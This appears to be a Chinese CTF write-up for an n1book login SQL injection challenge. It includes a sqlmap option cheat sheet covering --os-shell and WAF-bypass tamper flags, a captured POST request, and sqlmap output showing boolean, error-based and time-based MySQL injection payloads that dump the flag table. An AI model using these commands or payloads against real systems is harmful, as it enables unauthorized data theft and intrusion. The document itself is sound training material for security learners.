当前位置: 首页 > news >正文

sqlmap学习ing(2.[第一章 web入门]SQL注入-2(报错,时间,布尔))

根据提示访问页面

Ctrl+U查看源码

unicode编码在线转化工具转换为中文。

判断注入类型:

证明是字符报错注入且账号 admin是存在的

可以得出闭合方式为:单引号 '

使用sqlmap经行注入

### 总结参数作用:
-u        指定目标URL。
-C        指定列名(多个列用逗号分隔)。
-D        指定数据库名。
-T        指定表名。
-r        从文件加载请求,保留请求细节,自动识别注入点。
--data       指定POST方法发送的数据,sqlmap -u <URL> --data="<POST_DATA>",它在检测 POST 注入漏洞时至关重要。
--columns       枚举指定表中的列。
--tables        枚举指定数据库中的表。
--dump          导出数据。
--dbs	        枚举所有数据库	sqlmap -u URL --dbs
--level	        测试深度(1-5)	--level 3(检测Cookie注入)
--risk	        风险等级(1-3)	--risk 3(使用危险语句)
--proxy	        使用代理	--proxy="http://127.0.0.1:8080"
--tamper	    绕过WAF	--tamper=space2comment
--forms         自动处理表单,用于自动发现表单并注入。
--batch         无需用户交互,自动选择默认选项。
--current-db    获取当前数据库名。
--dump-all	    导出所有数据	sqlmap -u URL --dump-all
--os-shell	    获取系统shell	sqlmap -u URL --os-shell
抓包,保存为txt文件,sqlmap梭sqlmap -r ./1111.txt --batch --dbssqlmap -r ./1111.txt --batch -D note --tablessqlmap -r ./1111.txt --batch -D note -T fl4g --columnssqlmap -r ./1111.txt --batch -D note -T fl4g -C flag --dumpsqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" --dbs --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note --tables --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g --colums --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g -C flag --dump --batch
┌──(root💀kali)-[/home/kali/Desktop]
└─# cat 1111.txt       
POST /login.php?tips=1 HTTP/1.1
Host: challenge.qsnctf.com:32146
Content-Length: 85
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://challenge.qsnctf.com:32146
Referer: http://challenge.qsnctf.com:32146/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=123&pass=1244┌──(root💀kali)-[/home/kali/Desktop]
└─# ┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note --tables --batch              130 ⨯_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [']     | .'| . |                                            
|___|_  [']_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:00 /2025-07-01/[07:14:00] [INFO] parsing HTTP request from './1111.txt'
[07:14:01] [INFO] resuming back-end DBMS 'mysql' 
[07:14:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:02] [INFO] fetching tables for database: 'note'
[07:14:02] [INFO] retrieved: 'fl4g'
[07:14:02] [INFO] retrieved: 'users'
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+[07:14:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:02 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g --columns --batch_____H__                                                         ___ ___[(]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [.]     | .'| . |                                            
|___|_  [)]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:51 /2025-07-01/[07:14:51] [INFO] parsing HTTP request from './1111.txt'
[07:14:51] [INFO] resuming back-end DBMS 'mysql' 
[07:14:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:52] [INFO] fetching columns for table 'fl4g' in database 'note'
[07:14:52] [INFO] retrieved: 'flag'
[07:14:52] [INFO] retrieved: 'varchar(40)'
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+[07:14:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:52 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g -C flag --dump --batch_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [)]     | .'| . |                                            
|___|_  [(]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:15:18 /2025-07-01/[07:15:18] [INFO] parsing HTTP request from './1111.txt'
[07:15:19] [INFO] resuming back-end DBMS 'mysql' 
[07:15:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:15:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:15:20] [INFO] fetching entries of column(s) 'flag' for table 'fl4g' in database 'note'                                                
[07:15:20] [INFO] retrieved: 'n1book{login_sqli_is_nice}'
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

得到flag

http://www.dtcms.com/a/264189.html

相关文章:

  • jQuery 安装使用教程
  • MySQL数据一键同步至ClickHouse数据库
  • 前端第二节(Vue)
  • 橙心同步助手2.0.1版本更新
  • Instruct-GPT中强化学习(RL)训练部分详解
  • Android实现仿iOS风格滚动时间选择器
  • 零信任安全管理系统介绍
  • 新版本 Spring Data Jpa + QueryDSL 使用教程
  • Java基础 集合框架 抽象类 AbstractList
  • Bootstrap 安装使用教程
  • 三极管是NPN还是PNP
  • CppCon 2018 学习:EMULATING THE NINTENDO 3DS
  • 以下是 Kafka 不同认证方式的配置示例,结合前面的单表设计方案,展示如何为每种认证方式填充配置表
  • Docker进阶命令与参数——AI教你学Docker
  • 第八十六篇 大数据排序算法:从厨房整理到分布式排序的智慧
  • MS1826+LT8644 4K@30Hz HD8×8/16×16高清矩阵
  • 数据结构复习5
  • 数字ic后端设计从入门到精通10(含fusion compiler, tcl教学)静态时序分析
  • 使用Ansible的playbook安装HTTP
  • 8.4 Jmter实践不同线程组之间的全局变量的传递和使用
  • 使用 StatsD 向 TDengine 写入
  • 鸿蒙系统(HarmonyOS)应用开发之实现电子签名效果
  • jQuery EasyUI 安装使用教程
  • 苹果AR/VR头显路线图曝光,微美全息推进AI/AR智能眼镜新品开启视觉体验篇章
  • 视频断点续播全栈实现:基于HTML5前端与Spring Boot后端
  • C++编程语言:标准库:STL算法(Bjarne Stroustrup)
  • Python学习Day48
  • 3.1.1.9 安全基线检查项目九:检查是否设置限制su命令用户组
  • 微软服务器安全问题
  • 代码随想录day21二叉树8